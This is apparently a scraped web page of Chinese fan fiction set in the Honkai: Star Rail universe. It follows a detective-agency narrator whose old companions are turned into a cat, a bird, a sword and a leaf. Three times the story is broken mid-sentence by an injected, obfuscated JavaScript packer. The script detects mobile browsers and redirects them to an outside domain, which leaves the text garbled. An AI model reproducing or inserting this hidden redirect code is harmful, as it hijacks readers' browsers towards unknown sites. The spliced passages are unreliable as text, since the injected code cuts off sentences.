“伙计,你怎么了。” 桑博不知道从哪里冒了出来,贴在了你的脸上,你借着一点儿缝隙直接一把揭了下来。 桑博许是看出你情绪不对,便给你放了半天假:“你出去转转吧,带薪半天假。” “谢谢。” 你出了侦探社,直奔给星期日安排的住所。没想到他竟然不在,也不知道他去了哪里,找也找不到人问。 经过这么一折腾,冲上来的那一股子劲儿也消散得差不多了。你借着冷风狠狠吹了几下脑袋,清醒了几分。 反正也是带薪,回去做什么,不如多逛逛。垃圾星的气候偏冷,一年四季都是这个情况,凉风总是呼呼地吹。但也不是没有阳光,但只有在正午前后一个系统时左右才会出现,很快便会降下去。 如今已经是下午了,太阳早就落了下去。淡淡的蓝色雾气笼罩在地表上,只有远处微弱的白光维持着属于白日的亮度。 此时的你穿了一件浅绿色的宽松卫衣,梳着极为稀松平常的丸子头。些许碎发被风轻轻吹起,露出你有些茫然的眼眸。 一缕阳光从地平线上缓缓渗出。你抬起头,在阳光的照耀下,你看到一个长得不可方物的青年,搭在肩膀上的灰白色耳羽轻轻颤着。 “星期日?” 你的出声打断了星期日的思绪,那缕阳光很快便沉了下去,淹没在地平线下。 “无名小姐,是我找的人有线索了吗?” “有一些线索,但还不是很确定。”你抬起头,“星期日,可以提供些更多信息吗?” 星期日稍微一怔,末了点点头:“可以。” 他似乎有些为难,你们在一张长椅上坐下后,星期日还在斟酌着说辞。 “我们是在庇尔波因特的一处酒吧里认识的。” 星期日微微望向远方,有些沉浸在自己的情绪里,叫人不忍打断:“她是个垃圾桶,但是却有一颗人心。虽然不会安慰人,但还是想尽办法来安慰我。我曾经在我的家乡受挫,虽然不至于整日喝酒颓废,但也是消沉了一段时间。我一直反复在想,自己真的错了吗,错在了哪里。我想了很长时间也没有想明白,但是她告诉我并没有做错,而且还给了另外的想法。她觉得我可以去诸多世界游历,在行程中思考这个问题。但是——” 星期日的神色黯淡下来,眼睛里的哀伤如何也藏不住,“临出发前,我做了一件事情。事后想想可能后悔,但是如果重来一次,我依旧会选择这样做。” 星期日苦笑着摇了摇头:“当我得知一位巡海游侠要在公司酒会上对奥斯瓦尔多·施耐德下手时,我便将港口附近的星槎动了手脚。原本以为奥斯瓦尔多受了伤,驾驶星槎逃走之际会直接撞毁公司大楼,不曾想却造成了她的死亡。公司大楼在一片熊熊大火中烧为灰烬,她也在火光中微笑消失。” 32.垃圾星 “……” 你静静地听完星期日的发言,有些不知道说些什么了。这几日对银河间的新闻你也算是搜集了不少,多少能理解星期日想要毁灭公司的想法,这跟匹诺康尼的历史脱不了干系。 以前好不容易脱离苦海,没想到经此一遭,一朝回到解放前,如今又被公司掌握了股份。虽说是三方制约,有星穹列车管制着,但是他们是踏遍星海的无名客,真要出了事情,等他们回来也迟了。 你抿了抿唇角,手情不自禁地搭上了星期日的肩膀,才察觉到他的身体一直在微微地颤抖。他弯着身子,双手叠放在膝盖上,脑袋埋在手掌里。许是察觉到你的触碰,星期日抬起脑袋,露出有些红肿的眼睛。 “无名,我可以问你个问题吗。” 星期日看着你,目光里隐隐露出些许期待。 “你问吧,但我可能……”你犹豫片刻,“给不出你想要的答案。” “无妨,我只想要个真心的答案。”星期日的神色缓和了些,定定地看着你:“你觉得她知道了事情的真相后,会因此轻看我吗?” “……” 你闭了闭眼睛,声音在喉咙里滚了滚,“我给不出你想要的答案。” 星期日眼睛的光芒黯淡了些,刚刚凝聚起来的希望刹那间消失。 你不想将话说得太绝,轻声道:“或许不会。” 星期日怔愣片刻,但肉眼可见地,唇角微微勾了起来。他的神情极为真挚,“谢谢你,无名。” “不谢。”你从长椅上站起身,“有她的消息我会同步给你的。” “不用了。”星期日也从长椅上起身,脸上是释然的笑容,右手放在胸前,“我已经得到她的答案了。” “呃,你认真的吗?” 星期日微微点头,“明日我便会启程离开,有缘再见。” 事到如今,你也无法再说些什么了,只能祝星期日一路顺风吧。他离开的时候天色渐晚,路灯纷纷亮了起来。暖黄色的灯光洒在有些热闹但不多的街道上,许多垃圾桶穿行其间。一眼望过去,似乎只有你这个人形模样的家伙有些特别。当然,特别的不止你一人,还有一个银白色发丝的男人。 紧紧的腰封束在劲瘦的腰身上,一头银白色的发丝高高竖起,扎成一个马尾的形状。脸上挂着慵懒随性的笑意,眼角处留有一颗小小的泪痣。本来不甚明显,如今被灯光衬得极为夺目。他看到了你,举起手,朝你打了个招呼。 “你好啊,无名姑娘。” “景元将军。” “睡到一半肚子饿了,起来找些吃的东西。”景元解释着缘由,顺便问了一句:“姑娘有什么推荐呐。” 你看了看天色,也才刚刚擦黑而已。景元说的什么睡到一半,不会是从前台回去之后便睡了个昏天地暗吧。 景元像是猜到了你的心思,笑着道:“近来得闲,自然要把以前没睡够的觉都补回来。” 原来如此,看来还真是与你猜得大差不差。只是你有些犯起了难,因为你向来都是大门不出二门不迈的,这里的街道你也没有好好逛过几次,什么好玩的好吃的统统都不知道欸。 景元看出你的为难,提议道:“既然姑娘也没有什么好的推荐,不如陪我在这里逛上一逛,可好?” 鬼使神差地,你点了点头。 景元主动和你聊起了那位朋友:“从前在仙舟上时,我们便经常这样相伴而行。哪里的东西好吃,哪里的东西好玩。当时我还不是将军,只是一个骁卫,也有大把的时间来耍玩。” “将军,这家烙饼还不错。” 你买了两个,将其中一个递给景元。景元咬了一口,连连赞叹:“味道不错。”顿了顿,他又道:“当时我还有四个朋友,其中一个是持明龙尊,名唤丹枫,清冷帅气,无名当时还摸过他的龙角。只是有些可惜,他后来因为犯了事情,被驱逐出仙舟了。” 你咬了一口烙饼,葱花混合着香油的味道盈满口中。 “我还有位匠人朋友,他常常吹嘘说无名和他师出同门,是他的小师妹。但是等到最后,他也没有等到无名回来。反而沾染上了丰饶,走上了星核猎手的道路。” 你继续咬着烙饼,舌尖好像已经麻木,尝不出任何味道了。 “我还有个狐人朋友,她是第一个遇到无名的,也是她将无名带回了罗浮。自从无名出事后,她一直驾驶着星槎在星海间搜索她的下落。但是一直没有结果,最终抱恨终天。” 你稍稍抬起眼睛,有了些许触动。 “我还有个师父……” 说到这里,景元已经有些说不下去了。你买了两杯甜豆浆,将其中一杯递给景元。 景元喝了几口,润了润嗓子。 “将军,这家糖葫芦不错。” 你买了两串,递给景元一串。 景元咬了两颗,“其实我一直知道,无名并不是我们那个时空的人。她可能是想改变我们各自的命运,只是到头来,也是只有白珩的结局有所改变。而无名自己,也成为我们每个人心头的遗憾。” 你默默地吃糖葫芦,不说一句话,只想做个安静的倾听者。 “无名,你有她的消息吗?”景元陡然间想你发问。 你默默地想。 好生奇怪,他说着无名的故事,像是在说另外一个人。却反过来叫你无名,问有没有另外一个无名的消息。 你咬完了整串糖葫芦,如实道:“有一点,但不确定,还需要再证实一下。” “既然如此,那我只能厚着脸皮再在贵社住上一段时间了。” “求之不得。”你抢过景元吃剩下的糖葫芦,一颗一颗吃完,“只要钱到位,一切都好说。” “见钱眼开。”桑博这个家伙不知道什么时候在你的脑袋里牵了一根神经,正在疯狂地吐槽你:“无情的女人。” 你无动于衷。 景元看着你的动作,饶有趣味地抱了下胳膊:“姑娘变化甚大。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15364144|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “将军识得我?” “姑娘若是愿意,我们就是旧相识。姑娘若是不愿意,我们便是新朋友。” 景元这句话看似将主动权交给了你,但是却是明晃晃地告诉你——无名,我已经认出你来了。 “将军喜欢哪一种?” 你又买了两串糖葫芦,全都给了景元。景元回送给你一串,你稍微愣了一下,还是接了过来。 “决定权不在于我,我喜欢哪一种不重要,重要的是你的选择。” “将军……”你深深吸了一口气:“你知道有种感觉吗。就是你与别人聊天时,能够猜到他们口中所说心中所寻的那个人是你,但是却无法共情到当时的情形,似乎隔着一层薄薄的雾气一般。” 景元唇角噙着笑意,“原是如此。”他顿了顿又道:“其实或许他们遍寻此人,不是为了叙旧,而只是想知道她过得如何。只要她舒心安适,他们也就放心了。” 你咬了一口糖葫芦,有些别扭地点了点头。 景元伸出手,揉了揉你的脑袋:“了却一桩心事,我也该回罗浮了,日后若是有缘,再来相聚不迟。” “嗯。”你点了点头。 最后的最后,你陪着景元回到了他的住处。看着景元屋里的最后一点亮光熄灭后,你转身回了垃圾桶侦探社。 桑博正贴在桌面上睡得不知所味,睡功如此厉害,连你故意坐在椅子上,闹出特别大的声响都没听到。 这个家伙。 你将桑博从桌面上揭下来,拿在手里晃了晃。 这个家伙以前像个面具,硬邦邦的,随便扯一扯都会痛得呲牙咧嘴。现在倒是像张软趴趴的面皮,轻轻一抖就会像果冻一样Q.Q弹弹的,极其筋道。贴在脸上的时候清清凉凉的,好不舒服。 你惬意地躺在椅子上,心中什么烦恼都没有了。桑博静静地趴在你的脸上,安静得有些出奇。困意从四面八方席卷而来,眼皮沉重得有些过分,你闭上了眼睛,陷入沉睡。 不知道过了多久,你被一阵冷风吹醒。趴在脸上的桑博早已不见了身影,伴随而来的是一道极其浓重的血腥味。 你皱了皱眉,难道有客人来了。不等你开灯,一道人影便窜到了你的身前,一双阴沉的眸子印在你的眼睛里。你仿佛置身于他眸中燃烧的黄色烛火里,但却感觉不到一丝暖意,反倒觉得寒意逼人。 你闭了下眼睛,复又睁开。从他的眸中一点点后退,坐在电脑前敲键盘,“远道而来,有何贵干。” “你认识我?”声音是一如既往地阴沉。 “大名鼎鼎的星核猎手,在银河间做了不少震惊寰宇的大事。如果这些都不知道的话,侦探社也不必开下去了。” “听说侦探社没有立场,只看钱财。” “明晃晃的八十亿站在面前,我如果说不心动想必你也不会相信。如果你想找一个借口混入公司监狱的话,我会谢谢你将这八十个亿拱手相让。” “一份儿公司监狱的地图。” 33.垃圾星 “伙计,醒醒。” 还在迷糊的时候,有个冰冰凉凉的东西在你脸上跳来跳去。你听出是老桑博的声音,脑袋往胳膊里埋了埋,就是不想起来。 “伙计,出大事了!” 能有什么大事。 你换了个方向继续趴着,眼皮沉重得像是克里珀那沉重的大锤似的。意识渐渐陷入沉睡,你睡得心安理得。不知道过了多久,你察觉到有个什么尖尖的东西在啄你的手背。你换只手垫在脑袋下,继续睡。没一会儿又感觉到什么东西在舔你的脸颊,痒痒的。 你磨磨蹭蹭了好一阵子才睁开眼睛,映入眼帘的是一只洁白无瑕的猫咪和一只通身紫色的小谐乐鸽,看起来煞是可爱。 桑博什么时候整来的这些小东西。 你一会儿点点谐乐鸽的脑袋,一会儿抓抓白猫的下巴。一上午都在你的遛鸟玩猫中度过,你的心情好了不少,连带着对其他前来侦探社的客人也和颜悦色了起来。 这两个小家伙仿佛通了人性,聪慧得很。你甚至觉得他们能听得懂你说话,便也不自觉地对着他们自言自语起来。 只不过大多数时候你的话都是无厘头的,他们听着估计也头晕。谐乐鸽站在你的头顶昏昏欲睡,而那只白猫窝在你的怀里早就睡得正酣了。 一天过去,也没有见到桑博的身影。亏你还惦记着早上他说的什么出大事,看来应该是个噱头。但本着谨慎的原则,你还是问了下,不过问的是白猫和谐乐鸽。 本想问的是桑博去哪儿了,但一开口却是,“你们是桑博送来的吗?” 谐乐鸽从你的头顶扑闪着翅膀飞了下来,落在怀里正睡着的猫咪身上,啄了下他的脑袋,直接把白猫啄醒了。 白猫伸了个懒腰,跳到桌子上,昂起高贵的头颅。谐乐鸽站在白猫的头上,低头啄着自己的翅膀整理羽毛。 你叹了口气,也是,怎么能指望这两个小家伙回答你呢,他们又不是真的会说话。你托着腮,陡然间想起昨晚星期日与景元都与你辞了行,现在估计是已经离开垃圾星了。顿时有些后悔早上不该睡懒觉的,虽然耽误不了什么工作。有的垃圾桶也会出来看看前台的情形,顺带着将业务也办了。但是想到没有目送着他们离开,你就立即感到有些不安。 也不是害怕他们搞事情了,就是感到自己似乎也太不近人情了点。 桑博不知道什么时候搭的神经又出来狂轰滥炸了:“您老人家还知道呐。” 听到桑博的声音,你立即来了精神,问了一嘴:“你去哪儿了,处理早上说的大事去了?用不用帮忙?” “不用。”桑博的声音听起来有些贱嗖嗖的,“照顾好你身边的猫和鸟就够了,有什么事情等我回来再说。” “我是你家铲屎官?” 桑博稍微一怔,似乎是没想到你会拒绝,便直接道:“伙计,这你就有所不知了,这两位可不是我招惹来的,算不得我家。” 你懒洋洋地往躺椅上一躺,双手环胸:“不是你家的,难不成还是我家的?” “伙计,你还别急着否认,小心日后哐哐打脸。” 桑博说完这句话便没了声音,你满心疑窦,再次看向那一鸟一猫,禁不住自我怀疑起来。 难道真是以前你养的? 毕竟你的记忆残缺不整,好像遗漏了什么也很正常。算了,还是把他们带回家休息吧。 你将谐乐鸽放在自己的脑袋上,白猫圈在怀里,关了侦探社的门,挂了歇业牌,然后回家了。 桑博给你安排的住处离侦探社不远,其实就是为客人提供住处的地方。只不过你没有什么归属感,晚上能待在侦探社就待在侦探社。所以这几天都没有回去看一眼,不过好在你的记忆力不错,虽然没有刻意留意过,但还是找到了。一张你的大头贴明晃晃地贴在了大门口,想要不惹眼都难。 你不由自主地看向旁边两个门,待看清那上面的大头贴之后,惊得下巴都差点儿掉了。左边是景元,右边是星期日。不过这倒不是最为惊奇的,更让你吃惊的是这俩人的大头贴还在这里呢。他们不是跟你辞行了吗,今天早上就该走了欸。客人走后,大头贴是要连同一起带走的。因为这个大头贴不仅仅只是为了方便客人辨认自己的房屋,更是客人进入房屋的一种凭证。由侦探社和客人共同铸成,客人注销住房后,侦探社撤回加注在其上的力量,大头贴由客人自行处理。如果客人不带走的话,侦探社会派人将其处理掉的。 但现在两张大头贴明晃晃地贴在门上,分明是俩人没有注销住房。这两个人都不是什么泛泛之辈,说出的话断然没有收回来的道理。难道是有了另外的事情不得不留下? 这个想法比较合理。你没有多余的念头,只是推开了自己的房门。 不过这个事情比较蹊跷,这两个人的房屋都是你安排的。如果你没记错的话,这俩人的房间号差着十万八千里呢。又怎么会仅隔一个房间号呢,你还夹在中间? 什么蜜汁操作。 你将白猫和谐乐鸽放了下来,开始在房间里找吃的。首先便将目标锁定在了冰箱,不得不说,这个老桑博办事儿还挺妥帖的。里面有很多新鲜的食材,有荤有素。还有一些水果,苹果桃子梨啥的应有尽有。 你倒了一些虾仁出来喂给猫吃,又切了一些水果喂小鸟。看到两个小家伙吃得津津有味,你放了心,从衣柜里拿了一件睡衣去洗澡。 本来没觉得累的,一泡进热水里浑身的疲惫就全都出来了。你长长地打了个哈欠,直接躺在浴缸里睡着了。待醒来时,浴缸里的水已经有些凉了。 事实上你是被冻醒的吧。 你整个人都泡成泡芙了,随便擦洗几下,穿上浴袍,便出了浴室。白猫团成一团,早就霸占了你的床铺。谐乐鸽给自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368556|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭了个小秋千,蹲在上面,脑袋埋在一只翅膀下,正睡得香甜。 你将白猫将旁边移了移,掀开被子躺了进去。但不知是今日天气实在是有些冷,还是你在浴缸里躺了两三个系统时冻着了,只觉得浑身冰凉。反倒是睡在一旁的白猫身上散发出暖暖和和的温度,引得你不由自主地靠近、靠近、再靠近。最后,你直接将白猫一把揽入了怀里。宛若抱着个小太阳一般,只觉得浑身暖洋洋的,内心满满的安全感。 白猫被你这么一折腾也没有醒,反倒伸了个懒腰继续睡了。舒服的呼噜呼噜声伴随着它起伏的肚皮彻底征服了你,你沉沉地陷入了梦乡。 再次醒来时,已经是第二天早上了。白猫团在你的怀里还没有醒,反倒是那只小谐乐鸽早就醒了,正蹲在窗台前的一盆水里啄着自己的羽毛洗澡呢。 你简单洗漱了下,然后弄了些虾仁和水果后,便出了门。那只谐乐鸽也跟了上来,扑闪着翅膀跟在你身边。后来不知道是不是飞累了,便直接站在了你的肩膀上。 你出门的时候看了眼旁边的两间屋子,星期日和景元的大头贴还在上面。你犹豫了一下,先去敲了敲景元的房门。那只谐乐鸽似乎是有些不乐意了,尖尖的嘴巴啄了一下你的脖子。 不疼,就是有些痒痒的。 敲了房门后,景元没有出来,反倒是原本应该在你的床上睡着大觉的白猫出来了。两只前爪往前慵懒地一伸,声音里透着几分慵懒:“变成猫了,还有人大早上扰我清静。” ! 你好像听到了什么不得了的东西。 这个大头贴其实也有通知作用的,无论在不在屋内,只要在垃圾星,都能通知得到。 不是吧。 景元变成猫了? 猫见了鸟都会忍不住伸爪子,难怪这只白猫从始至终都和你肩膀上的这只小谐乐鸽相处得极为融洽。你原先还以为是这两个小家伙从小就在一起养,所以才关系不错的,没想到啊没想到,到头来竟然是这个原因。 既然景元变成了白猫,那星期日会不会也变成了某种动物?或许,就是蹲在你肩膀上的这只谐乐鸽? 你狐疑地转身去敲了敲星期日的房门,果然不出你之所料,肩膀上的那只谐乐鸽飞到了你的面前。你瞪圆了眼睛,他开了口:“你好,我是星期日,很高兴……”稍微停顿了下后,他的声音满是浅浅的笑意:“以这种方式再次与你见面。” 哦! 你一拍脑门,从没有一刻恨自己不能立即晕过去。 白猫迈着六亲不认的步伐走到你的面前,前爪搭上了你的裤脚。你悚然一惊,再也不敢把他抱起来,而是直接蹲了下来。但发觉自己的视线还是居高临下时,直接趴在了地上,尽量让自己的视线与景元平齐,即使下巴磕得生疼也在所不惜。从没有一刻你希望自己的脸没有那么长,否则,你就真的无计可施了。 34.垃圾星 事情的最后就是你左肩蹲着景元,右肩站着星期日。两个小家伙看着都挺高兴的,唯有中间的你满面愁容。 眼下到底是个什么情况,为什么景元会变成猫,星期日变成鸟。还有就是,这两个家伙到底是怎么遇上的。到底有没有人来给你个解释呐。 你有些烦躁地揪了揪自己的头发,站在你右肩的星期日晃了晃身形,险些被摔了下去。他扑闪着翅膀飞起来,凑到你面前,宽心道: “朋友,无需烦恼。我原本就是只小鸟,变成人以后本以为就此无法再恢复鸟身,重新回归湛蓝色的天空。之前在庇尔波因特你驾驶星槎撞毁公司大楼之际,我曾短暂地恢复过一段时间的鸟形,原本以为只是凑巧,不曾深究。没想到朋友果真有这样的能力。其实是我该谢谢你,有了让我再次振翅飞翔的能力。” 呃。 你知道星期日是想让你不要自责,但可能是他情感流露得太过真挚了,竟然把你们之间不能宣之于口的共同秘密都抖落了出来。 其实前天星期日朝你告别时,你就从他说的话里知道了他知道了你就是他要找的人。他没有不依不饶你还是挺感激他的,每个人都合该有自己的旅程。与其每天无聊地待在一起互相牵制对方的生活和理想,不如各自踏上自己所行的道路,然后在闲暇之时互相聚一聚来得舒适安心。 你相信景元也是这么想的,所以他也是痛快地说了第二天会回罗浮。但是没想到啊没想到,终究是人算不如天算,这两个人都被塑成与他们的或是性格或是身世背景或是......以后保不齐还会有其他的东西,在此就不一一赘述了。横竖就是他们被塑成了不是人形的物种。 星期日倒也好说,他如今的身份不再是匹诺康尼的话事人,而是一阶游客。不用肩负着一颗星球的责任,就可以随心所欲一些。虽然变成鸟形有些不安全,但也还是能够出去见人的。而且既然是旅程嘛,去的大概也是他以前没有去过的地方,不会有人认识他。再不济也就留在垃圾星,什么时候恢复人形再离开。总归是个人的旅程,耽误些时间也没什么。 但是景元却是万万不行,一个将军怎可放弃整个罗浮仙舟长时间待在别处。若是景元待在垃圾星期间,罗浮乃至联盟仙舟出了什么意外,可怎么是好。 这个责任可大了! 到时不用联盟来找你算账,你自己就能自责内疚而死! 愁啊愁。 你更加用力地抓头发了。 景元那毛茸茸的爪子往你的脖子上一搭:“无名,担心什么。来垃圾星前我便有预感,此行或有大事发生,早早便做了万全的准备。” 你叹了一口气:“景元,你莫不是为了安慰我才如此说的吧。” “自然不是。”景元轻轻抓了几下你的脖子:“莫要担心了。倘若罗浮或是联盟因这等小事便会出什么大乱子,也断然不会航行到今天。” 你仔细一想,也是。 也不知你是高估了自己还是低估了罗浮,总之心里有些不是滋味。 但不管如何,还是尽快想出让他们恢复人身的办法要紧。 你第一时间想到了桑博。这个家伙总是神神秘秘的,你唯一知道的就是他是个假面愚者,而他如今也是以半哭不笑的面庞示人。他早前还说什么因为你他才变成如今这副模样,虽然一直以来你都不信,毕竟你在遇到他的时候他就是个面具了,怎么能把事情怪到你头上,而且还是你与他的短暂接触才让他恢复了一瞬的人身。 但现在景元和星期日两个活生生的例子摆在面前,由不得你不信了,便只能低下姿态去求老桑博了。 好在桑博一大清早就在侦探社,像是早就预料到你会来一样。 “景元将军,星期日先生,还有我的伙计,你们终于来了。” 你有些怀疑,这桑博会不会是拿了个反派的剧本。 你要不要直接撕碎了他。 不行,即使他拿了反派的剧本,但估计也是重要反派,这类反派还是得让他开口说几句话的。 你直接上前一步,揪住桑博的脸,先是狠狠蹂躏了一番后才掐住他的下巴冷冷道:“老实交代,坦白从宽,抗拒从严。” 桑博的脸颊被揉得生疼,说话都有些不利索了:“伙计,你这都已经大刑伺候上了。” 你深深地吸了一口气,还是放开了桑博:“赶紧交代。” “伙计,他们二位真不是我的杰作,而是你的。”桑博道:“伙计,你还记得你是星神的事情吗?” 此话一出,饶是连景元都忍不住朝你看过来。 你摸了摸鼻子:“好像记得一点儿。” “在你登神之际,一切问题便可迎刃而解。” 桑博的话还未说完,一柄利刃便裹挟着浓烈的血腥气射了出来。你手疾眼快地将桑博扯了过来,利刃擦着你的手背而过,锋利的剑刃划破了皮肤,留下一道极浅的血痕。 桑博惊魂未定:“吓死我了,谢了伙计。” 你得空看向利刃射出的方向,一个阴沉的男人抱着胳膊站在门外。白色的绑带缠满他的四肢,鲜血浸透出来,像是几朵小小的梅花开在洁净的白雪上一般。 这个男人你见过,就在景元和星期日变得不是人了之前你们还在这里说过话。你给了他一份儿公司监狱的地图,他连个谢字都没有就直接走了。如今带着一身血腥气而来,是想做什么。 难道公司监狱地图有假?他吃了亏所以来报复了? 不像呐,这个叫刃的前天还在这里和你调侃他的悬赏金额来着,怎么今天就变得这么冷酷无情,活像是要把你吞了似的。 你眼睁睁地看着刃抱着胳膊一脸凶神恶煞地走到面前,阴沉地问道:“你是谁。” 这三个字一出来,你总算是明白他为什么这么生气了。 但人贵有自知之明,你还是试探性地问了一句:“呃,你去公司监狱是去救那个撞毁了公司大楼的人?” 刃险些被你气笑了,几乎是从牙缝里挤出声音:“不然呢?” 呃。 桑博在后面笑出了声音。 刃一记眼刀飞了过去,桑博立马闭嘴:“你们继续继续。” 继续你个大头鬼啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381603|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你求助地看向景元和星期日。 景元仿佛什么也没看见似的,居然团成一团呼呼大睡了。 星期日则显得有些为难,但最后居然也采取了和景元一样不闻不问的态度,低着头整理自己的羽毛去了。 你仰天悲愤。 这帮不靠谱的家伙! 你发誓,绝对绝对不会登什么破神去帮他们恢复人身的! 现在首要的问题就是稳住刃。 “那个,你听我狡辩。” 但刃显然没有那么足的耐心,拔出剑就朝你砍来。你一边躲避着一边求饶,但用脚趾头也该想想,根本一点儿鸟用没有。 看来还是景元和星期日太慈悲了,你就这么死遁了一点儿消息没有,走得倒是干净。他们寻遍银河才终于找到你,发现你优哉游哉还闭口不谈以前的事情。 换做谁都会有情绪的。 更何况前天发生的事情也太具有戏剧性了,他来找你要公司监狱的地图去救你,你就在旁边看着。 估计他以为你耍他玩呢。 全都是你造的孽呐。 罢了,他想砍就砍吧,发发脾气也行,你躲着点儿不就行了。 但不知道你是高估了你的能力还是低估了刃的剑法,躲过了剑锋却难免被剑气所伤。不过片刻,你的胳膊上便多了几道伤痕。 你干脆破罐子破摔,也不躲了,直接凑到刃跟前,“来来来,一剑给我个透心凉,早死早超生。” 刃的剑终于停住了。 周遭安静得有些过分,虽然已经是一片狼藉。景元伸了个懒腰,睁开惺忪的眼睛,“你们打完了?” “呵。”刃收起了剑,可算找到说话的机会了,低沉道:“景元,你如今这副模样可真是稀奇。” “不稀奇。”景元懒洋洋道:“再过一会儿,你也会变成我这副模样。” 你得到了喘息的机会,如今听了景元的话也不由得在想。既然景元和星期日还有桑博是受了你的影响才变成现在这个形体,那么刃会不会也…… 你刚把目光转向刃,恰好刃也看了过来。两两相对,有些尴尬。你摸了摸鼻子,他重重地冷哼了一声。 如果刃真的变成不是人的话,按照以往的惯例,他会成什么样子。 似乎是要满足你的好奇心一般,下一秒,你便眼睁睁地看着刃变成了一把遍布道道伤痕的剑。 ! 你不由得瞪大了双眼。 原来这么神奇的吗。 那柄剑显然也是愣住了,但随即反应了过来,再次将剑尖对准了你。 不可避免地,一场大战再次爆发。 在躲避刃的追杀时,百忙之中你居然还有心情分出一个眼神看向那观战的三个家伙。 星期日从吊灯飞下,落到景元的身旁,有些担忧道:“这样打真的不会有什么问题吗。” 有问题,真的很有问题! 景元老神在在:“你看那只面具——” 你和星期日几乎同时看向桑博。 不慌不忙,悠闲自得,甚至还饶有心思地哼着小曲儿! 35.垃圾星 垃圾桶侦探社应该改名了。 你和刃把前台搞得天翻地覆,来来往往的客人竟然没有一个人觉得你们这个样子有问题的,有的居然还停下来为你们呐喊助威。桑博还设了个小擂台,摆了场赌局,压到底你和刃到底谁会胜出。景元来凑热闹也就罢了,星期日这样浓眉大眼的居然也来掺和一脚。 “我押无名小姐,桑博先生说她可是星神级别的人物!” “我押星核猎手,星神级别的人物怎么了,她还没有恢复全部的记忆。反观这位刃兄,虽然已经不是人了,但是星核猎手的实力还是有的!” “我押无名小姐,有句话说得好,瘦死的骆驼比马大。” “我押星核猎手,你看现在这个形势,无名小姐只有抱头鼠窜的份儿!” 你怒了。 抱头鼠窜什么鬼。 请改个词儿,谢谢! “我押无名小姐,你们大家看看她眼睛里的怒气,那可是有大事将成的征兆啊。” “我押星核猎手……” “我押无名小姐……” 客人们争先恐后地下注,越来越多的人都赶来凑热闹。甚至有人不远万里,千里迢迢地赶来,就仅仅只是为了见证这场赌局的结果。 要说你和刃的体力也真是一等一地好,打了这么多天,都不带喘息一下的,居然还是这么有精神。 你甚至还有心情去看一眼围观的人群里有没有你认识的,或是和刃有仇的。 功夫不负有心人,还真是被你找到了一位。这人生有一头短而茂密的黑发,形容俊美,清冷的气质里若有若无透露着一股子独属于龙尊的居高临下。黑色的紧身衣凸显出精致的锁骨,两条银色的拉链拉至最高处,满满的禁欲气息扑面而来。 你一个跳跃飞了起来,直冲这位而去。隐隐约约中,你听到旁边的景元喊他丹恒。 居然是丹枫的转世吗,难怪看起来有些眼熟。 而这位丹恒仁兄显然没料到你会这么做,本来只是看个热闹没想到居然惹祸上身。他眼疾手快地拔出一柄名唤击云的长枪,很有经验地直接击飞了刃化身的这把残破的剑。 “呼~” 你松了口气,拍了拍这位丹恒仁兄的肩膀:“谢了兄弟。” “你是故意的。” 呃。 看来这位丹恒仁兄不好糊弄啊,而且看起来十分不好惹的样子,但是为什么他生起气来也是这么可爱迷人呐。 “饮月……” 刃很快反击。 一场大战再次爆发。 你本以为会就此脱身,但没想到刃居然想一个打俩,根本不给你逃跑的机会。无奈之下,你只能与丹恒联手。但不成想,丹恒居然也想一个打俩。 !!! 说好的无意挑起争端呢。 是你先挑起来的。 好吧。 现在场上已经成了混战的局面,三个人,却两两对打。 场外的人又开始下注了。 “我押无名小姐……” “我押星核猎手……” “我押饮月龙尊……” “全押——” 一道极其嚣张的声音,引得你也把视线投了过来。好死不死,又是一位熟人。没错,就是那位疯狂的赌徒——星际和平公司战略投资部石心十人之一的砂金总监。 “押无名小姐,赌上我的性命,赢了我归她,输了她归我。” 似乎是没听过这样的赌注,刃和丹恒也忍不住停了下来。几乎就在瞬间,丹恒在大庭广众之下变成了一枚火红色的枫叶。你瞅准时机,一手握住剑,一手食指并作中指夹住那枚枫叶。 “哦呼——” 台下响起雷鸣般的掌声。 原来是通过这样的方式取胜的吗。 学到了学到了。 于是乎,大名鼎鼎以及鼎鼎大名的砂金总监就变成了你的人。 赌场渐渐被桑博散去,不管是他这个设赌局的还是景元和星期日这俩下注押你的,亦或是你本人,都赚了个盆满钵满。 桑博、景元以及星期日还有砂金都很高兴,唯独你闷闷不乐。 一只猫和一只鸟也就罢了,现在又来一把剑和一枚枫叶,这以后的日子可怎么过啊。而且从景元和星期日到刃再到丹恒,肉眼可见地,他们变成不是人的时间大大缩短了。 接下来估计就轮到砂金了。 你只能摆了摆手,“砂金总监,为了保全你的人形,你还是走吧。” 